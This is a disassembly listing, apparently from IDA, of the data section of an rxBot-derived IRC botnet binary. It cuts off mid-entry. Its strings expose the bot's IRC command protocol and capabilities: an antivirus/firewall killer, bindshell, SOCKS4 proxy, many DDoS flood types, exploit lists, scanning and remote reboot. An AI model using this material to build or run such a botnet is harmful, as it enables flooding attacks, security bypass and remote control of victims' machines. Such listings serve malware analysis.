DATA XREF: WinMain(x,x,x,x)+364o db 3, 34h, 2 dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h dd 0 ; char asc_440A7C[] asc_440A7C db '-' ; DATA XREF: WinMain(x,x,x,x)+3A2o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 10h ; char asc_440AA0[] asc_440AA0 db '-' ; DATA XREF: WinMain(x,x,x,x)+3F3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h ; char asc_440AE0[] asc_440AE0 db '-' ; DATA XREF: WinMain(x,x,x,x)+420o db 3, 34h, 2 dd 6E656469h, 2036474h aServerRunningO db '- Server running on Port: 113.',0 align 4 ; char asc_440B0C[] asc_440B0C db '-' ; DATA XREF: WinMain(x,x,x,x)+46Bo db 3, 34h, 2 dd 6E656469h, 2036474h aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 10h ; char asc_440B40[] asc_440B40 db '-' ; DATA XREF: sub_4019E7+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 10h ; char aPassS[] aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401B4F+35o align 4 ; char aNickSUserS00S[] aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401B4F+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 ; char SubStr[] SubStr db ' :',0 ; DATA XREF: sub_401CC7+86o align 4 ; char Delim[] Delim: ; DATA XREF: sub_401CC7+AEo unicode 0, < >,0 ; char asc_440B90[] asc_440B90: ; DATA XREF: sub_401CC7:loc_401D92o unicode 0, < >,0 ; char asc_440B94[] asc_440B94: ; DATA XREF: sub_401CC7+191o unicode 0, <!>,0 ; char aPing[] aPing db 'PING',0 ; DATA XREF: sub_401CC7+1A0o align 10h ; char aPongS[] aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1BAo align 4 ; char aJoinSS[] aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1DBo align 4 ; char a001[] a001 db '001',0 ; DATA XREF: sub_401CC7+1F7o ; char a005[] a005 db '005',0 ; DATA XREF: sub_401CC7+20Co ; char aUserhostS[] aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+8016o align 4 ; char aModeSS_0[] aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+802Eo align 4 ; char aJoinSS_4[] aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+8044o align 4 ; char a302_0[] a302_0 db '302',0 ; DATA XREF: sub_401CC7+221o ; char a[] a@: ; DATA XREF: sub_401CC7+231o unicode 0, <@>,0 ; char a433_0[] a433_0 db '433',0 ; DATA XREF: sub_401CC7+259o ; char aNickS[] aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+284o align 4 ; char aKick[] aKick db 'KICK',0 ; DATA XREF: sub_401CC7+2DBo align 4 ; char asc_440C14[] asc_440C14 db '-' ; DATA XREF: sub_401CC7+34Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User %s logged out.',0 ; char aNoticeSS[] aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+368o ; char aJoinSS_0[] aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+3B2o align 4 ; char aNick[] aNick db 'NICK',0 ; DATA XREF: sub_401CC7+3C5o align 4 ; char aSS_1[] aSS_1 db ':%s%s',0 ; DATA XREF: sub_401CC7+4E3o align 4 ; char aPart[] aPart db 'PART',0 ; DATA XREF: sub_401CC7+508o align 4 ; char aQuit[] aQuit db 'QUIT',0 ; DATA XREF: sub_401CC7+519o align 4 ; char asc_440C74[] asc_440C74 db '-' ; DATA XREF: sub_401CC7+5A8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User: %s logged out.',0 align 4 ; char aPart_0[] aPart_0 db 'PART',0 ; DATA XREF: sub_401CC7+5C5o align 10h aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+5E9o ; char a353[] a353 db '353',0 ; DATA XREF: sub_401CC7+557o unk_440CB4 db 2Dh ; - ; DATA XREF: sub_401CC7+588o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: %s.',0 ; char aPrivmsg[] aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401CC7+5F4o ; char aNotice[] aNotice db 'NOTICE',0 ; DATA XREF: sub_401CC7+605o align 4 ; char a332[] a332 db '332',0 ; DATA XREF: sub_401CC7+616o ; char aPrivmsg_0[] aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_401CC7+637o ; char aNotice_0[] aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_401CC7+64Co align 4 ; char aNotice_1[] aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_401CC7+7C7o align 10h ; char asc_440D00[] asc_440D00: ; DATA XREF: sub_401CC7+7ECo unicode 0, <#>,0 ; char dword_440D04 dword_440D04 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401CC7+874o dword_440D10 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401CC7+89Fo dd 0D017325h, 0Ah ; char dword_440D2C dword_440D2C dd 4E495001h, 47h ; DATA XREF: sub_401CC7+8AAo dword_440D34 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401CC7+8DBo dd 0A0Dh ; char dword_440D4C dword_440D4C dd 43434401h, 0 ; DATA XREF: sub_401CC7+693o ; char aSend[] aSend db 'SEND',0 ; DATA XREF: sub_401CC7+6B1o align 4 ; char aS[] aS db '%s',0 ; DATA XREF: sub_401CC7+6DEo align 10h ; char aS_0[] aS_0 db '%s',0 ; DATA XREF: sub_401CC7+6F9o align 4 ; char asc_440D64[] asc_440D64 db '-' ; DATA XREF: sub_401CC7+75Ao db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 unk_440D94 db 2Dh ; - ; DATA XREF: sub_401CC7+8ECo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0 align 10h ; char asc_440DD0[] asc_440DD0 db '-' ; DATA XREF: sub_401CC7+904o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 ; char aChat[] aChat db 'CHAT',0 ; DATA XREF: sub_401CC7+924o align 4 ; char aS_1[] aS_1 db '%s',0 ; DATA XREF: sub_401CC7+961o align 10h ; char asc_440E20[] asc_440E20 db '-' ; DATA XREF: sub_401CC7+9BBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h unk_440E40 db 2Dh ; - ; DATA XREF: sub_401CC7+A2Ao db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartC db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_440E78 db 2Dh ; - ; DATA XREF: sub_401CC7+A3Bo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_440EA8 db 2Dh ; - ; DATA XREF: sub_401CC7+A4Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 ; char aLogin[] aLogin db 'login',0 ; DATA XREF: sub_401CC7+A6Fo align 4 ; char asc_440EE4[] asc_440EE4: ; DATA XREF: sub_401CC7+A87o unicode 0, <l>,0 ; char asc_440EE8[] asc_440EE8: ; DATA XREF: sub_401CC7+7EA6o unicode 0, <!>,0 ; char asc_440EEC[] asc_440EEC: ; DATA XREF: sub_401CC7+7EC4o unicode 0, <~>,0 ; char aNoticeSPassAut[] aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7EF4o align 4 ; char aNoticeSYourAtt[] aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7F0Bo align 4 unk_440F44 db 2Dh ; - ; DATA XREF: sub_401CC7+7F1Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 10h ; char aNoticeSHostAut[] aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7F5Bo align 4 ; char aNoticeSYourA_0[] aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7F72o align 4 unk_440FC4 db 2Dh ; - ; DATA XREF: sub_401CC7+7F84o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h unk_440FF0 db 2Dh ; - ; DATA XREF: sub_401CC7+7FE5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 10h ; char asc_441010[] asc_441010 db '-' ; DATA XREF: sub_401CC7+8002o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 ; char a332_3[] a332_3 db '332',0 ; DATA XREF: sub_401CC7+AA9o ; char asc_441034[] asc_441034 db ' :',0 ; DATA XREF: sub_401CC7:loc_4027C8o align 4 ; char aD[] aD db '$%d-',0 ; DATA XREF: sub_401CC7+B5Fo align 10h ; char aD_0[] aD_0 db '$%d',0 ; DATA XREF: sub_401CC7+C23o ; char aMe[] aMe db '$me',0 ; DATA XREF: sub_401CC7+C95o ; char aUser[] aUser db '$user',0 ; DATA XREF: sub_401CC7+CA7o align 10h ; char aChan[] aChan db '$chan',0 ; DATA XREF: sub_401CC7+CB8o align 4 ; char aRndnick[] aRndnick db '$rndnick',0 ; DATA XREF: sub_401CC7+CD4o align 4 ; char aServer[] aServer db '$server',0 ; DATA XREF: sub_401CC7+CE5o ; char aChr[] aChr db '$chr(',0 ; DATA XREF: sub_401CC7+CF0o align 4 ; char aChr_0[] aChr_0 db '$chr(',0 ; DATA XREF: sub_401CC7+D09o align 4 ; char asc_44107C[] asc_44107C: ; DATA XREF: sub_401CC7+D31o unicode 0, <)>,0 ; char a63[] a63 db '63',0 ; DATA XREF: sub_401CC7+D59o align 4 ; char asc_441084[] asc_441084: ; DATA XREF: sub_401CC7+E31o unicode 0, < >,0 ; char asc_441088[] asc_441088: ; DATA XREF: sub_401CC7:loc_402B19o unicode 0, < >,0 ; char aRndnick_0[] aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401CC7+E8Co ; char aRn[] aRn db 'rn',0 ; DATA XREF: sub_401CC7+EA4o align 4 ; char aNickS_8[] aNickS_8 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7E5Do align 4 ; char asc_4410A4[] asc_4410A4 db '-' ; DATA XREF: sub_401CC7+7E74o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 ; char aDie[] aDie db 'die',0 ; DATA XREF: sub_401CC7+EB9o ; char aD_1[] aD_1 db 'd',0 ; DATA XREF: sub_401CC7+ECEo align 10h ; char a332_4[] a332_4 db '332',0 ; DATA XREF: sub_401CC7+2F3Eo ; char aLogout[] aLogout db 'logout',0 ; DATA XREF: sub_401CC7+EE3o align 4 ; char aLo[] aLo db 'lo',0 ; DATA XREF: sub_401CC7+EF8o align 10h ; char asc_4410E0[] asc_4410E0 db '-' ; DATA XREF: sub_401CC7+2EC5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_1 db 'User %s logged out.',0 unk_441100 db 2Dh ; - ; DATA XREF: sub_401CC7+2EDBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 unk_44112C db 2Dh ; - ; DATA XREF: sub_401CC7+2EE3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 ; char asc_441158[] asc_441158 db '-' ; DATA XREF: sub_401CC7+2F22o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_2 db 'User %s logged out.',0 ; char aVersion[] aVersion db 'version',0 ; DATA XREF: sub_401CC7+F0Do ; char aVer[] aVer db 'ver',0 ; DATA XREF: sub_401CC7+F22o dword_441184 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401CC7+2E86o ; char aDedication[] aDedication db 'dedication',0 ; DATA XREF: sub_401CC7+F37o align 10h ; char aDed[] aDed db 'ded',0 ; DATA XREF: sub_401CC7+F4Co unk_4411A4 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_404B3Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 ; char aSpeedtest[] aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401CC7+F61o align 10h ; char aSt[] aSt db 'st',0 ; DATA XREF: sub_401CC7+F76o align 4 ; char aSecure[] aSecure db 'secure',0 ; DATA XREF: sub_401CC7+F8Bo align 4 ; char aSec[] aSec db 'sec',0 ; DATA XREF: sub_401CC7+FA0o ; char aUnsecure[] aUnsecure db 'unsecure',0 ; DATA XREF: sub_401CC7+FB5o align 4 ; char aUnsec[] aUnsec db 'unsec',0 ; DATA XREF: sub_401CC7+FCAo align 4 ; char aSecure_1[] aSecure_1 db 'secure',0 ; DATA XREF: sub_401CC7+2D61o align 4 ; char aSec_0[] aSec_0 db 'sec',0 ; DATA XREF: sub_401CC7+2D72o aSecuring db 'Securing',0 ; DATA XREF: sub_401CC7+2DCDo align 4 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401CC7+2DD4o align 4 ; char asc_4412A8[] asc_4412A8 db '-' ; DATA XREF: sub_401CC7+2DDAo db 3, 34h, 2 dd 75636573h, 3026572h, 7325202Dh, 73797320h, 2E6D6574h dd 0 dword_4412C4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401CC7+2E54o aFailedToStar_0 db '- Failed to start secure thread, error: <%d>.',0 align 10h ; char aBindshell[] aBindshell db 'bindshell',0 ; DATA XREF: sub_401CC7+FDFo align 4 ; char aBd[] aBd db 'bd',0 ; DATA XREF: sub_401CC7+FF4o align 10h ; char asc_441310[] asc_441310 db '-' ; DATA XREF: sub_401CC7+2CD2o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 unk_44133C db 2Dh ; - ; DATA XREF: sub_401CC7+2D56o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToStar_1 db ' Failed to start server thread, error: <%d>.',0 align 4 ; char aBindshellstop[] aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401CC7+1009o align 4 aServer_0 db 'Server',0 ; DATA XREF: sub_401CC7+1022o align 4 dword_441394 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401CC7+1027o ; char aSocks4[] aSocks4 db 'socks4',0 ; DATA XREF: sub_401CC7+1032o align 10h ; char aS4[] aS4 db 's4',0 ; DATA XREF: sub_401CC7+1047o align 4 ; char asc_4413B4[] asc_4413B4 db '-' ; DATA XREF: sub_401CC7+2BE1o db 3, 34h, 2 dd 6B636F73h, 3023473h aServerStarte_0 db '- Server started on: %s:%d.',0 dword_4413DC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401CC7+2C50o aFailedToStar_2 db '- Failed to start server thread, error: <%d>.',0 align 4 ; char aSocks4stop[] aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401CC7+105Co align 4 aServer_1 db 'Server',0 ; DATA XREF: sub_401CC7+1075o align 4 dword_44142C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401CC7+107Ao ; char aRloginstop[] aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401CC7+1085o align 4 aServer_2 db 'Server',0 ; DATA XREF: sub_401CC7+109Eo align 10h dword_441450 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401CC7+10A3o ; char aHttpstop[] aHttpstop db 'httpstop',0 ; DATA XREF: sub_401CC7+10AEo align 4 aServer_3 db 'Server',0 ; DATA XREF: sub_401CC7+10C7o align 4 dword_441474 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401CC7+10CCo ; char aLogstop[] aLogstop db 'logstop',0 ; DATA XREF: sub_401CC7+10D7o aLogList db 'Log list',0 ; DATA XREF: sub_401CC7+10F0o align 4 dword_441498 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401CC7+10F5o ; char aRedirectstop[] aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401CC7+1100o align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401CC7+1119o align 4 dword_4414C4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401CC7+111Eo ; char aDdos_stop[] aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_401CC7+1129o align 10h aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401CC7+1142o align 4 dword_4414EC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401CC7+1147o ; char aSynstop[] aSynstop db 'synstop',0 ; DATA XREF: sub_401CC7+1152o aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401CC7+116Bo align 4 dword_44150C dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC7+1170o ; char aSkysynstop[] aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401CC7+117Bo align 4 aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401CC7+1194o align 4 dword_441534 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401CC7+1199o ; char aTarga3stop[] aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401CC7+11A4o align 10h aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401CC7+11BDo align 10h dword_441560 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401CC7+11C2o ; char aWonkstop[] aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401CC7+11CDo align 4 aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401CC7+11E6o align 4 dword_441588 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401CC7+11EBo ; char aPacketstop[] aPacketstop db 'packetstop',0 ; DATA XREF: sub_401CC7+11F6o align 10h aDdosFlood_0 db 'DDoS flood',0 ; DATA XREF: sub_401CC7+1217o align 4 dword_4415AC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401CC7+121Co aSynFlood_0 db 'Syn flood',0 ; DATA XREF: sub_401CC7+1235o align 4 dword_4415C4 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC7+123Ao aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401CC7+1256o align 4 dword_4415DC dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC7+125Bo aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401CC7+1274o align 4 dword_4415F4 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401CC7+1279o aTarga3Flood_0 db 'Targa3 flood',0 ; DATA XREF: sub_401CC7+1295o align 10h dword_441610 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401CC7+129Ao aWonkFlood_0 db 'Wonk flood',0 ; DATA XREF: sub_401CC7+12B3o align 4 dword_44162C dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401CC7+12B8o aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401CC7+12D4o align 4 dword_441648 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401CC7+12D9o aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401CC7+12F2o align 4 dword_441668 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401CC7+12F7o aSkysynFlood_0 db 'SkySyn flood',0 ; DATA XREF: sub_401CC7+1313o align 4 dword_441688 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401CC7+1318o unk_441698 db 2Dh ; - ; DATA XREF: sub_401CC7+1332o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 ; char aTsunamistop[] aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401CC7+134Co aTsunamiFlood_0 db 'Tsunami flood',0 ; DATA XREF: sub_401CC7+1365o align 4 dword_4416E8 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401CC7+136Ao ; char aWisdomstop[] aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401CC7+1375o align 4 aWisdomAttack_0 db 'Wisdom attack',0 ; DATA XREF: sub_401CC7+138Eo align 4 dword_441714 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401CC7+1393o ; char aUdpstop[] aUdpstop db 'udpstop',0 ; DATA XREF: sub_401CC7+139Eo aUdpFlood_0 db 'UDP flood',0 ; DATA XREF: sub_401CC7+13B7o align 4 dword_441738 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC7+13BCo ; char aPingstop[] aPingstop db 'pingstop',0 ; DATA XREF: sub_401CC7+13C7o align 10h aPingFlood_0 db 'Ping flood',0 ; DATA XREF: sub_401CC7+13E0o align 4 dword_44175C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401CC7+13E5o ; char aTftpstop[] aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401CC7+13F0o align 4 aServer_4 db 'Server',0 ; DATA XREF: sub_401CC7+1409o align 4 dword_44177C dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401CC7+140Eo ; char aFindfilestop[] aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401CC7+1419o align 4 ; char aFfstop[] aFfstop db 'ffstop',0 ; DATA XREF: sub_401CC7+142Eo align 4 aFindFile db 'Find file',0 ; DATA XREF: sub_401CC7+2B12o align 10h dword_4417B0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401CC7+2B17o ; char aProcsstop[] aProcsstop db 'procsstop',0 ; DATA XREF: sub_401CC7+1443o align 4 ; char aPsstop[] aPsstop db 'psstop',0 ; DATA XREF: sub_401CC7+1458o align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_401CC7+2AFDo align 4 dword_4417E4 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401CC7+2B02o ; char aClonestop[] aClonestop db 'clonestop',0 ; DATA XREF: sub_401CC7+146Do align 10h aClone db 'Clone',0 ; DATA XREF: sub_401CC7+1486o align 4 dword_441808 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401CC7+148Bo ; char aSecurestop[] aSecurestop db 'securestop',0 ; DATA XREF: sub_401CC7+1496o align 4 aSecure_0 db 'Secure',0 ; DATA XREF: sub_401CC7+14AFo align 4 dword_44182C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401CC7+14B4o ; char aScanstop[] aScanstop db 'scanstop',0 ; DATA XREF: sub_401CC7+14BFo align 4 aScan db 'Scan',0 ; DATA XREF: sub_401CC7+14D8o align 10h dword_441850 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401CC7+14DDo ; char aScanstats[] aScanstats db 'scanstats',0 ; DATA XREF: sub_401CC7+14E8o align 4 ; char aStats[] aStats db 'stats',0 ; DATA XREF: sub_401CC7+14FDo align 10h ; char aTransferstats[] aTransferstats db 'transferstats',0 ; DATA XREF: sub_401CC7+1512o align 10h ; char aTrstats[] aTrstats db 'trstats',0 ; DATA XREF: sub_401CC7+1527o ; char aConnectbacksta[] aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401CC7+153Co align 4 ; char aCbstats[] aCbstats db 'cbstats',0 ; DATA XREF: sub_401CC7+1551o ; char aExploitlist[] aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401CC7+1566o ; char aExplist[] aExplist db 'explist',0 ; DATA XREF: sub_401CC7+157Bo ; char aReconnect[] aReconnect db 'reconnect',0 ; DATA XREF: sub_401CC7+1590o align 4 ; char aR[] aR: ; DATA XREF: sub_401CC7+15A5o unicode 0, <r>,0 ; char aQuitReconnecti[] aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_404744o align 10h dword_4418E0 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401CC7+2A8Ao dd 676E6974h, 2Eh ; char aDisconnect[] aDisconnect db 'disconnect',0 ; DATA XREF: sub_401CC7+15BAo align 4 ; char aDc[] aDc db 'dc',0 ; DATA XREF: sub_401CC7+15CFo align 4 ; char aQuitDisconnect[] aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_404722o align 4 dword_441924 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401CC7+2A68o dd 6E697463h, 2E67h ; char aQuit_0[] aQuit_0 db 'quit',0 ; DATA XREF: sub_401CC7+15E4o align 4 ; char aQ[] aQ: ; DATA XREF: sub_401CC7+15F9o unicode 0, <q>,0 ; char aQuitS[] aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+2A33o align 4 ; char aQuitLater[] aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_40470Co align 4 ; char aStatus[] aStatus db 'status',0 ; DATA XREF: sub_401CC7+160Eo align 10h ; char aS_2[] aS_2: ; DATA XREF: sub_401CC7+1623o unicode 0, <s>,0 unk_441974 db 2Dh ; - ; DATA XREF: sub_401CC7+2A0Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h ; char aId[] aId db 'id',0 ; DATA XREF: sub_401CC7+1638o align 4 ; char aI_0[] aI_0 db 'i',0 ; DATA XREF: sub_401CC7+164Do align 4 ; char asc_4419A8[] asc_4419A8 db '-' ; DATA XREF: sub_401CC7+29CDo db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 20746F42h, 203A4449h, 2E7325h ; char aReboot[] aReboot db 'reboot',0 ; DATA XREF: sub_401CC7+1662o align 4 ; char asc_4419C8[] asc_4419C8 db '-' ; DATA XREF: sub_401CC7+1679o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 unk_4419E8 db 2Dh ; - ; DATA XREF: sub_401CC7+1680o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 10h ; char aThreads[] aThreads db 'threads',0 ; DATA XREF: sub_401CC7+16B4o ; char aT[] aT: ; DATA XREF: sub_401CC7+16C9o unicode 0, <t>,0 ; char aSub[] aSub db 'sub',0 ; DATA XREF: sub_401CC7+2929o ; char asc_441A20[] asc_441A20 db '-' ; DATA XREF: sub_401CC7+294Fo db 3, 34h, 2 dd 65726874h, 2736461h, 4C202D03h, 20747369h, 65726874h dd 2E736461h, 0 unk_441A40 db 2Dh ; - ; DATA XREF: sub_401CC7+29BEo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToStartL db '- Failed to start list thread, error: <%d>.',0 align 4 ; char aAliases[] aAliases db 'aliases',0 ; DATA XREF: sub_401CC7+16DEo ; char aAl[] aAl db 'al',0 ; DATA XREF: 